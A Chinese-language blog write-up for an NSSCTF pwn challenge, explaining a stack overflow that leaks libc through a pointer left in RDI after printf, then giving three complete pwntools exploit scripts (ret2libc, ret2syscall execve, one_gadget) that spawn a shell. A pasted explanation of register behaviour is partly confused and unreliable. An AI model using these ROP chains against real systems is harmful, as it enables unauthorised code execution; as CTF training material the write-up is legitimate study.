NSSCTF-round30-pwn-vulnn

read()读取的参数是buf , 而 printf() 打印的参数是 c ,不能用格式化字符串。

再看 参数 c ,位于 .data 段 ,属于全局变量,轻易更改,覆盖它们可能导致程序崩溃。

附件给了 libc ,程序里既无system,也无/bin/sh,想办法泄露libc的基址,这道题,没有给pop_rdi_ret 。

用 gdb 动调 vuln,发现在main()调用完printf()函数后,rdi 寄存器中仍然存有一个指针,指向一个函数的地址,funlockfile(),虽然没见过,但没关系。可为什么调用printf()后,rdi 会存有一个指针指向一个函数的地址呢?

RDI 变化的原因printf 内部调用了 funlockfile,并将 FILE* 流的锁地址传入 RDI

为什么 printf 执行后 RDI 的值发生了变化?

在 x86-64 调用约定中,RDI第一个参数寄存器,用于传递函数参数。printf 的执行会修改 RDI,原因如下:


1. printf 的调用过程

  • 调用前

    • RDI 存储 printf 的第一个参数(格式字符串地址 0x40200d)。

    • RSI 存储第二个参数(0x402004,指向字符串 "byby")。

    • 这是正常的 printf 传参方式:
      c

      复制

      printf("%s", "byby");  // RDI="%s", RSI="byby"
      
  • 调用后

    • printf 内部会使用 RDI 作为临时寄存器(例如处理可变参数或内部函数调用)。
    • printf 返回时,RDI 可能被修改为某个内部函数的地址(如 funlockfile)。

2. 具体原因分析

(1)****printf 内部调用了其他函数

printf 在 glibc 的实现中会调用:

  • vfprintf(核心格式化输出函数)
  • funlockfile(释放文件流的锁)

在调用 funlockfile 时,RDI 会被设置为 FILE* 流的地址(这里是 stdout 或某个内部结构)。

(2)****funlockfile 的调用

从你的寄存器变化可以看出:

  • 调用前

    • RDI = 0x40200d(格式字符串 "%s" 的地址)
  • 调用后

    • RDI = 0x7ffe57083640,指向 funlockfile 的函数指针。

这表明 printf 在返回前调用了 funlockfile,并将 stdout 的锁结构地址传给了它(RDI 被覆盖)。


3. 关键寄存器变化对比

寄存器 调用前 调用后 变化原因
RDI 0x40200d"%s" 0x7ffe57083640funlockfile 相关) printf 内部调用 funlockfile
RAX 0x0 0x4 printf 返回输出的字符数("byby" 是 4 字节)
RCX read+18 write+23 printf 内部调用了 write 系统调用
RSI 0x402004"byby" 0x7ffe57083760(栈上的新值) printf 内部使用 RSI 作为临时寄存器

4. 为什么 RDI 会指向 funlockfile

  • printf 在 glibc 中会加锁(flockfile)以保证线程安全,输出完成后解锁(funlockfile)。
  • 解锁时,RDI 会被设置为 FILE* 流的锁结构地址(这里是 stdout 的锁)。
  • 你看到的 RDI0x7ffe57083640 可能是 stdout->_lock 的地址。

5. 如何验证?

(1)查看 printf 的汇编

bash

复制

disassemble printf

你会看到类似以下的调用链:

asm

复制

call   vfprintf
...
call   funlockfile

(2)查看 stdout 的结构

bash

复制

p/x *(FILE *)stdout

输出中会包含 _lock 字段,地址可能与 RDI 的值一致。


6. 总结

  • RDI 变化的原因printf 内部调用了 funlockfile,并将 FILE* 流的锁地址传入 RDI
  • 这是正常行为printf 的实现会修改多个寄存器(包括 RAXRCXRDI 等)。
  • 关键点:函数调用后,寄存器的值可能被覆盖(尤其是参数寄存器)。

如果你在漏洞利用中依赖 RDI 的值,需要注意:

  1. 不要假设 RDI 在函数调用后保持不变
  2. 如果需要保留 RDI ,可以用 push rdi; pop rdi 保存和恢复

当我们得到了一个函数的真实地址,就可以泄露 libc_base了

利用栈溢出,覆盖返回地址,return到puts(),将rdi 寄存器里的函数地址打印出来,但这里要注意两点:

  1. ret 到哪里,我们既要调用 puts() 函数,又不想修改rdi 寄存器里的参数,一般函数的调用,在汇编语言中的体现,是先将参数存入寄存器中,再调用函数,所以这里我们要 ret 到 0x401206 ( call _puts )

  1. 我们执行puts()函数,打印出我们想要的函数地址,就相当于得到了libc的基址,接下来,就是利用read(),来打第二遍 payload 。

    但如果我们第一遍payload 用垃圾字节填充了rbp,再重新执行main(),参数 buf 的位置是位于[rbp-40h],这时候我们第二遍 payload 就不知道读到哪去了,程序就会崩溃,所以这里,在打第一遍pyaload 时,我们就注意将 rdp 的值覆盖为一个真实可写入的地址。

可写的范围从0x404000 -> 0x405000 ,为避免可能覆盖其他数据,最好选择中部。

将上述的两个注意点处理好了,接下来就有三种方法:

第一种打法:ret2libc
from pwn import *
context(os = "linux", arch = 'amd64', log_level = 'debug')
p = process("./vuln")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#p = remote("node6.anna.nssctf.cn", 27791)
#attach(p)
r = lambda a : p.recv(a)
rl = lambda    a=False        : p.recvline(a)
ru = lambda a    : p.recvuntil(a)
s = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b            : p.sendafter(a,b)
sla = lambda a,b        : p.sendlineafter(a,b)
shell = lambda            : p.interactive()
#attach(p)
payload = b"\x00" * 0x40 + p64(0x404900) + p64(0x401206)
sa("qwq\n", payload)
ru("byby")
tmp = p.recvuntil("\n", drop=True)
libc.address = int.from_bytes(tmp, "little") - 0x62050
print(hex(libc.address))
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
pop_rdi = libc.address + 0x2a3e5 
#gdb.attach(p)
#pause()
p.send(b'\x00' * 0x48 + p64(pop_rdi) + p64(binsh) + p64(pop_rdi + 1) + p64(system))
p.interactive()
第二种打法:ret2syscall(系统调用)

64位程序中,打系统调用,执行execve,用法:execve("/bin/sh",NULL,NULL),需控制四个寄存器,rax, rdi,rsi,rdx,首先,要将系统调用号存进 rax (execve函数的系统调用号为 0x3b = 59),然后将 /bin/sh 存进 rdi ,将 rsi,rdx 存入 0 即可。

程序本身没有可利用的gadget,就只有从 libc 中取

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
#io = remote('node1.anna.nssctf.cn', 28161)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target_addr = 0x401206
io.recvuntil('qwq\n')
payload = b'A' * 0x40 + p64(0x404a00)
payload += p64(target_addr)


funlockfile=libc.sym["funlockfile"]
io.sendline(payload)
io.recvuntil('byby')
funlockfile_addr = u64(io.recv(6).ljust(8, b'\x00'))

libc.address = funlockfile_addr - funlockfile

bin_sh = next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = next(libc.search(asm("pop rdi; ret;")))
ret = pop_rdi_ret + 1
#pop_rdx_ret = next(libc.search(asm("pop rdx; ret;")))
pop_rdx_pop_r12_ret = 0x11f2e7 + libc.address
pop_rsi_ret = next(libc.search(asm("pop rsi; ret;")))
pop_rax_ret = next(libc.search(asm("pop rax; ret;")))
syscall = next(libc.search(asm("syscall; ret;")))

payload2 = b'A' * 0x48 + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rax_ret) + p64(59) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_pop_r12_ret) + p64(0)*2 + p64(syscall)

#gdb.attach(io)
io.sendline(payload2)
io.interactive()

这里有需要注意的是,附件给出的 libc.so.6 中,没有纯粹的 pop_rdx_ret,所以写pop_rdx_ret = next(libc.search(asm("pop rdx; ret;"))),程序会卡死在pop rdx; ret (这个坑对新人我来说,真是想不到,我也卡死在了这里)

这里就可以将与rdx有关的寄存器一并控制了,比如我这里选pop_rdx_pop_r12_ret = 0x11f2e7 + libc.address,payload2+=p64(pop_rdx_pop_r12_ret) + p64(0)*2,但是,在用gdb调试时,会发现,打第二遍payload2时,rdx 本身就是0,所以也就可以不用控制,直接不管也能打通。

第三种打法:one_gadget

使用 one_gadget 工具扫描 libc:

one_gadget /lib/x86_64-linux-gnu/libc.so.6

选一个约束比较宽松的 gadget

我选的最下面那个gadget ,要满足三个条件:

  1. 内存地址 rbp-0x50 必须可写

  2. rax == 0:直接满足条件(最简单的情况)

    或者

    {rax, [rbp-0x48], NULL} 是合法的 argv 数组

    • rax 是字符串指针(如指向 "/bin/sh")。
    • [rbp-0x48]NULL 或下一个参数字符串。
    • 数组以 NULL 结尾(类似 ["/bin/sh", NULL]
  3. 以下三种情况满足其一即可:

    1. [[rbp-0x70]] == NULLrbp-0x70 指向的内存内容为 NULL(即 **(rbp-0x70) = 0)。
    2. [rbp-0x70] == NULLrbp-0x70 本身为 NULL
    3. [rbp-0x70] 是合法的 envp 数组(如 ["PATH=...", NULL])。

所以,我们要将 rbp 覆盖为一个可写地址,可写的范围从0x404000 -> 0x405000 ,为避免可能覆盖其他数据,且选择的是中部,所以条件 1 满足,至于条件 2,就看运气了,

所以最后,我们只需要满足 rax == 0

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./vuln')
#io = remote('node1.anna.nssctf.cn', 28023)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc.so.6')
elf = ELF('./vuln')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target_addr = 0x401206
io.recvuntil('qwq\n')
payload = b'A' * 0x40 + p64(0x404a00)
payload += p64(target_addr)

funlockfile=libc.sym["funlockfile"]
print(hex(funlockfile))
io.sendline(payload)
io.recvuntil('byby')
funlockfile_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(funlockfile_addr))

libc.address = funlockfile_addr - funlockfile
print(hex(libc.address))
pop_rax = libc.search(asm("pop rax; ret;")).__next__()

payload2 = b"\x00" * 0x40 + p64(0x404ff0) + p64(pop_rax) + p64(0) + p64(libc.address + 0xebd43)
#gdb.attach(io)
#pause()
io.send(payload2)

io.interactive()
````****`
posted @ 2025-04-11 20:13  Icyice01  阅读(38)  评论(0)    收藏  举报